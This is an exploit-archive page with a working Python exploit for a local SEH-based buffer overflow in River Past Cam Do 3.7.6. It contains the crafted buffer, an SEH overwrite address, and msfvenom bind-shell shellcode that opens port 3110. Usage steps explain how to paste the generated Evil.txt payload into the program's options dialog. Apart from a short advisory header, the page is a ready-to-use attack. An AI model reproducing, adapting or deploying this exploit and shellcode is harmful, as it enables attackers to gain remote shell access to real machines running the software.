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River Past Cam Do 3.7.6 Local Buffer Overflow

River Past Cam Do 3.7.6 Local Buffer Overflow
Posted Feb 11, 2019
Authored by Achilles

River Past Cam Do version 3.7.6 suffers from a local buffer overflow vulnerability.

tags | exploit, overflow, local
MD5 | a6adf6e687f7f655b2df63a110d5b8a9

River Past Cam Do 3.7.6 Local Buffer Overflow

Change Mirror Download
# Exploit Title: River Past CamDo SEH Local Exploit
# Date: 07.02.2019
# Vendor Homepage:www.riverpast.com
# Software Link: https://en.softonic.com/download/river-past-cam-do/windows/post-download?sl=1
# Exploit Author: Achilles
# Tested Version: 3.7.6
# Tested on: Windows XP SP3 EN

# 1.- Run python code : CamDo.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open CamDo.exe and click on the 'Options' Inside fhe 'File' Menu.
# 4.- Paste the Content of EVIL.txt into the 'Lame_enc.dll' name field.
# 5.- Click 'OK' and you will have a bind shell port 3110.


#!/usr/bin/env python
import struct

buffer = "\x41" * 280
NSEH = "\xeb\x06\x90\x90" #jmp short 6
SEH = struct.pack('<L',0x10010b0b) #pop pop ret rvddshow2.dll
nops = "\x90" * 20

#badchar \x00\x0a\x0d\x2f\
#msfvenom -p windows/shell_bind_tcp LPORT=3110 -a x86 -b '\x00\x0a\x0d\x2f' -f python

shellcode = ("\xb8\x9c\x94\x39\x34\xdb\xda\xd9\x74\x24\xf4\x5a\x33"
"\xc9\xb1\x53\x31\x42\x12\x03\x42\x12\x83\x5e\x90\xdb"
"\xc1\xa2\x71\x99\x2a\x5a\x82\xfe\xa3\xbf\xb3\x3e\xd7"
"\xb4\xe4\x8e\x93\x98\x08\x64\xf1\x08\x9a\x08\xde\x3f"
"\x2b\xa6\x38\x0e\xac\x9b\x79\x11\x2e\xe6\xad\xf1\x0f"
"\x29\xa0\xf0\x48\x54\x49\xa0\x01\x12\xfc\x54\x25\x6e"
"\x3d\xdf\x75\x7e\x45\x3c\xcd\x81\x64\x93\x45\xd8\xa6"
"\x12\x89\x50\xef\x0c\xce\x5d\xb9\xa7\x24\x29\x38\x61"
"\x75\xd2\x97\x4c\xb9\x21\xe9\x89\x7e\xda\x9c\xe3\x7c"
"\x67\xa7\x30\xfe\xb3\x22\xa2\x58\x37\x94\x0e\x58\x94"
"\x43\xc5\x56\x51\x07\x81\x7a\x64\xc4\xba\x87\xed\xeb"
"\x6c\x0e\xb5\xcf\xa8\x4a\x6d\x71\xe9\x36\xc0\x8e\xe9"
"\x98\xbd\x2a\x62\x34\xa9\x46\x29\x51\x1e\x6b\xd1\xa1"
"\x08\xfc\xa2\x93\x97\x56\x2c\x98\x50\x71\xab\xdf\x4a"
"\xc5\x23\x1e\x75\x36\x6a\xe5\x21\x66\x04\xcc\x49\xed"
"\xd4\xf1\x9f\x98\xdc\x54\x70\xbf\x21\x26\x20\x7f\x89"
"\xcf\x2a\x70\xf6\xf0\x54\x5a\x9f\x99\xa8\x65\x93\x7f"
"\x24\x83\xc1\x6f\x60\x1b\x7d\x52\x57\x94\x1a\xad\xbd"
"\x8c\x8c\xe6\xd7\x0b\xb3\xf6\xfd\x3b\x23\x7d\x12\xf8"
"\x52\x82\x3f\xa8\x03\x15\xb5\x39\x66\x87\xca\x13\x10"
"\x24\x58\xf8\xe0\x23\x41\x57\xb7\x64\xb7\xae\x5d\x99"
"\xee\x18\x43\x60\x76\x62\xc7\xbf\x4b\x6d\xc6\x32\xf7"
"\x49\xd8\x8a\xf8\xd5\x8c\x42\xaf\x83\x7a\x25\x19\x62"
"\xd4\xff\xf6\x2c\xb0\x86\x34\xef\xc6\x86\x10\x99\x26"
"\x36\xcd\xdc\x59\xf7\x99\xe8\x22\xe5\x39\x16\xf9\xad"
"\x4a\x5d\xa3\x84\xc2\x38\x36\x95\x8e\xba\xed\xda\xb6"
"\x38\x07\xa3\x4c\x20\x62\xa6\x09\xe6\x9f\xda\x02\x83"
"\x9f\x49\x22\x86")


payload = buffer + NSEH + SEH + nops + shellcode


try:
f=open("Evil.txt","w")
print "[+] Creating %s bytes evil payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"

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